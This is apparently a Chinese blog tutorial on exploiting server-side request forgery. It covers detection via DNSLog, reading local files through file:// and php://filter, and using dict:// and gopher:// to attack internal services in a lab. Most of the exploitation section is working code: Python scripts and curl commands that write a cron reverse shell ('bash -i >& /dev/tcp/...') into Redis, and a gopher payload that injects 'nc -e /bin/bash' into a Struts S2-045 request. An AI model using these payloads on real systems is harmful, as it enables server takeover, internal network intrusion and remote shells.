Loading

SSRF漏洞利用

一、判断漏洞是否存在

1.基本判断(排除法)
如:http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
排除法一:直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
排除法二:使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)
2.DNSLog 服务
生成一个域名(http://l08bgh.dnslog.cn)用于伪造请求,看漏洞服务器(ip)是否发起 DNS 解析请求,若成功访问在 http://DNSLog.cn 上就会有解析日志。

访问有ssrf漏洞的url:http://192.168.110.180/pikachu/vul/ssrf/ssrf_curl.php?url=bclrze.dnslog.cn

二、几个常用的协议

file协议   file://host/path/file.txt 访问读取本地文件
http协议   http://www.xxx.com  发起http请求
dict协议  dict://serverip:port/命令:参数  可以用于探测端口
gopher协议  URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 可用于构造Http请求包

三、漏洞的危害

相关的危险函数:file_get_contents() fsockopen() curl_exec()
不同函数支持的协议不同

1、利用file协议和Php伪协议读取本地文件

http://192.168.110.180/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

http://192.168.110.180/pikachu/vul/ssrf/ssrf_curl.php?url=file://1.txt

2、dict协议

参考文章:https://zhuanlan.zhihu.com/p/115222529
dict://serverip:port/命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了
对于如何探测内网ip和端口,我们可以通过burp爆破的方式进行判断

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.110.180/pikachu/vul/ssrf/ssrf_curl.php?url="
target = "dict://192.168.110.186:6379/"
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.110.186/9999 0>&1\\n\\\\"',
       "config:set:dir:/etc/",
       "config:set:dbfilename:crontab",
       "bgsave"]

for cmd in cmds:
    cmd_encoder = ""
    for single_char in cmd:
        # 先转为ASCII
        cmd_encoder += hex(ord(single_char)).replace("0x","")
    cmd_encoder = binascii.a2b_hex(cmd_encoder)
    cmd_encoder = urllib.quote(cmd_encoder,'utf-8')

    payload = url + target + cmd_encoder
    print payload
    request = urllib2.Request(payload)
    response = urllib2.urlopen(request).read()

或者执行如下命令

curl dict://192.168.110.186:6379/set:mars:\"\\x0a\\x0a\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x72\\x6f\\x6f\\x74\\x20\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x20\\x3e\\x26\\x20\\x2f\\x64\\x65\\x76\\x2f\\x74\\x63\\x70\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x31\\x30\\x2e\\x31\\x38\\x36\\x2f\\x39\\x39\\x39\\x39\\x20\\x30\\x3e\\x26\\x31\\x0a\\x0a\"

curl dict://192.168.110.186:6379/config:set:dir:/etc/
curl dict://192.168.110.186:6379/config:set:dbfilename:crontab
curl dict://192.168.110.186:6379/bgsave

3、gopher协议

参考文章:https://zhuanlan.zhihu.com/p/112055947

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
Host:192.168.0.119
Content-Type:"""
cmd = "nc -e /bin/bash 192.168.0.109 6666"
content_type = """自己填写(不要有换行)"""
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 编码请求头
for single_char in header:
    if single_char in url_char:
        header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
    else:
        header_encoder += single_char

header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))

# 编码content-type,第一次编码
for single_char in content_type:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print exp
request = urllib2.Request(exp)
response = urllib2.urlopen(request).read()
print response
posted @ 2021-07-17 18:50  Ctrl_C+Ctrl_V  阅读(246)  评论(0编辑  收藏  举报